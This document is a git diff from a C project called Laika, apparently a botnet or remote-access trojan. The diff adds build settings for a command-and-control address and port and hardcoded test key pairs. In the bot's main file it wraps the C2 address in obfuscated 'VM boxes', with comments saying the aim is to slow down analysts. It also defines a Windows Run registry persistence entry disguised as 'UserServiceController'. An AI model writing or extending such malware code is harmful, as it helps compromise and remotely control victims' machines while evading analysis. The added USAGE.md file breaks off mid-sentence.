diff --git a/.gitmodules b/.gitmodules index bedad8c..42c9329 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,3 @@ [submodule "cmake-modules/libsodium"] - path = lib/libsodium + path = libsodium url = https://github.com/robinlinden/libsodium-cmake.git diff --git a/CMakeLists.txt b/CMakeLists.txt index e7c9545..58663c6 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -54,6 +54,40 @@ endif () set(SODIUM_DISABLE_TESTS ON) set(SODIUM_MINIMAL ON) set(SODIUM_STATIC ON) +add_subdirectory(libsodium) + +# ========================================== [[ CONFIG DEFAULTS ]] ========================================== + +set(LAIKA_VMBOXCONFIG ${CMAKE_SOURCE_DIR}/lib/include/lboxconfig.h) + +# DO NOT USE THESE KEYS, TESTING ONLY (TODO: make vmboxgen auto gen these) +if(NOT LAIKA_PUBKEY) + set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27") +endif () + +if(NOT LAIKA_PRIVKEY) + set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc") +endif () + +if(NOT LAIKA_CNC_IP) + set(LAIKA_CNC_IP "127.0.0.1") +endif () + +if(NOT LAIKA_CNC_PORT) + set(LAIKA_CNC_PORT "13337") +endif () + +# version details +set(LAIKA_VERSION_MAJOR 0) +set(LAIKA_VERSION_MINOR 3) + +message(STATUS "Building config file...") +configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/lib/include/lconfig.h) + +# config vm boxes +add_subdirectory(tools/vmboxgen) + +# =========================================== [[ BUILD TOOLING ]] =========================================== # compile laikalib, tools, cnc & bot add_subdirectory(lib) diff --git a/USAGE.md b/USAGE.md new file mode 100644 index 0000000..ae44b66 --- /dev/null +++ b/USAGE.md @@ -0,0 +1,3 @@ +# Laika Build Process + +Laika has a specific setup process that need some explanation. Before \ No newline at end of file diff --git a/bot/src/main.c b/bot/src/main.c index 8ffbea5..05cf79c 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -1,5 +1,6 @@ #include +#include "lbox.h" #include "lconfig.h" #include "lerror.h" #include "ltask.h" @@ -12,6 +13,10 @@ #else int main() { #endif + /* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time. + not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */ + LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP); + LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT); struct sLaika_bot *bot; #ifdef LAIKA_PERSISTENCE @@ -25,7 +30,7 @@ LAIKA_TRY /* connect to test CNC */ - laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT); + laikaB_connectToCNC(bot, cncIP, cncPORT); /* while connection is still alive, poll bot */ while (laikaS_isAlive((&bot->peer->sock))) { @@ -46,5 +51,6 @@ laikaB_unmarkRunning(); #endif + /* vm boxes are left opened */ return 0; } \ No newline at end of file diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt index 4ab0d2e..99c0bc2 100644 --- a/lib/CMakeLists.txt +++ b/lib/CMakeLists.txt @@ -2,42 +2,11 @@ cmake_minimum_required(VERSION 3.16) set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) -# DO NOT USE THESE KEYS, TESTING ONLY -if(NOT LAIKA_PUBKEY) - set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27") -endif () - -if(NOT LAIKA_PRIVKEY) - set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc") -endif () - -if(NOT LAIKA_CNC_IP) - set(LAIKA_CNC_IP "127.0.0.1") -endif () - -if(NOT LAIKA_CNC_PORT) - set(LAIKA_CNC_PORT "13337") -endif () - -# version details -set(LAIKA_VERSION_MAJOR 0) -set(LAIKA_VERSION_MINOR 2) -set(SODIUM_DISABLE_TESTS ON) - -# vmbox config location -set(LAIKA_VMBOXCONFIG ${LIB_INCLUDEDIR}/lboxconfig.h PARENT_SCOPE) - project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR}) -message(STATUS "Building config file...") -configure_file(${LIB_INCLUDEDIR}/lconfig.h.in ${LIB_INCLUDEDIR}/lconfig.h) - # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder set_property(GLOBAL PROPERTY USE_FOLDERS ON) -# include libsodium -add_subdirectory(libsodium) - # compile LaikaLib library file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c) file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h) diff --git a/lib/include/lconfig.h.in b/lib/include/lconfig.h.in index be21450..d6b2179 100644 --- a/lib/include/lconfig.h.in +++ b/lib/include/lconfig.h.in @@ -44,4 +44,6 @@ #define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run" #define LAIKA_WIN_REG_VAL "UserServiceController" +#define LAIKA_VM_CODESIZE 512 + #endif \ No newline at end of file diff --git a/lib/include/lvm.h b/lib/include/lvm.h index de63e3e..05ec4a1 100644 --- a/lib/include/lvm.h +++ b/lib/include/lvm.h @@ -14,7 +14,6 @@ #include "laika.h" #include "lerror.h" -#define LAIKA_VM_CODESIZE 512 #define LAIKA_VM_STACKSIZE 64 #define LAIKA_VM_CONSTSIZE 32 diff --git a/lib/libsodium b/libsodium similarity index 100% rename from lib/libsodium rename to libsodium diff --git a/tools/CMakeLists.txt b/tools/CMakeLists.txt index 92a2ff2..aa02c95 100644 --- a/tools/CMakeLists.txt +++ b/tools/CMakeLists.txt @@ -1,5 +1,4 @@ cmake_minimum_required(VERSION 3.16) -add_subdirectory(vmboxgen) add_subdirectory(genkey) add_subdirectory(vmtest) diff --git a/tools/vmboxgen/CMakeLists.txt b/tools/vmboxgen/CMakeLists.txt index 5146de1..c2890b4 100644 --- a/tools/vmboxgen/CMakeLists.txt +++ b/tools/vmboxgen/CMakeLists.txt @@ -8,7 +8,7 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON) # compile vmTest file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) add_executable(VMBoxGen ${VMTESTSOURCE}) -target_link_libraries(VMBoxGen PUBLIC LaikaLib) +target_link_libraries(VMBoxGen PUBLIC) # add the 'DEBUG' preprocessor definition if we're compiling as Debug target_compile_definitions(VMBoxGen PUBLIC "$<$:DEBUG>") @@ -16,8 +16,7 @@ target_compile_definitions(VMBoxGen PUBLIC "$<$:DEBUG>") # generate the VMBOXCONFIG file if(LAIKA_OBFUSCATE) add_custom_command(TARGET VMBoxGen POST_BUILD - DEPENDS VMBoxGen COMMAND VMBoxGen ${LAIKA_VMBOXCONFIG} - COMMENT "Generating VMBox data & keys..." + COMMENT "Generating VMBox data & keys.." ) endif () \ No newline at end of file diff --git a/tools/vmboxgen/src/main.c b/tools/vmboxgen/src/main.c index 8cf887f..66795b7 100644 --- a/tools/vmboxgen/src/main.c +++ b/tools/vmboxgen/src/main.c @@ -1,12 +1,10 @@ #include #include +#include #include #include -#include "lmem.h" -#include "lvm.h" -#include "lbox.h" -#include "lsodium.h" +#include "lconfig.h" #define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0); #define RANDBYTE (rand() % UINT8_MAX) @@ -73,6 +71,9 @@ int main(int argv, char **argc) { srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */ fprintf(out, PREAMBLE); + /* shared */ + MAKESKIDDATA(LAIKA_CNC_IP); + MAKESKIDDATA(LAIKA_CNC_PORT); /* linux */ MAKESKIDDATA(LAIKA_LIN_LOCK_FILE); MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR); @@ -86,6 +87,8 @@ int main(int argv, char **argc) { MAKESKIDDATA(LAIKA_WIN_REG_VAL); fprintf(out, POSTAMBLE); fclose(out); + + printf("Wrote %s\n", argc[1]); return 0; }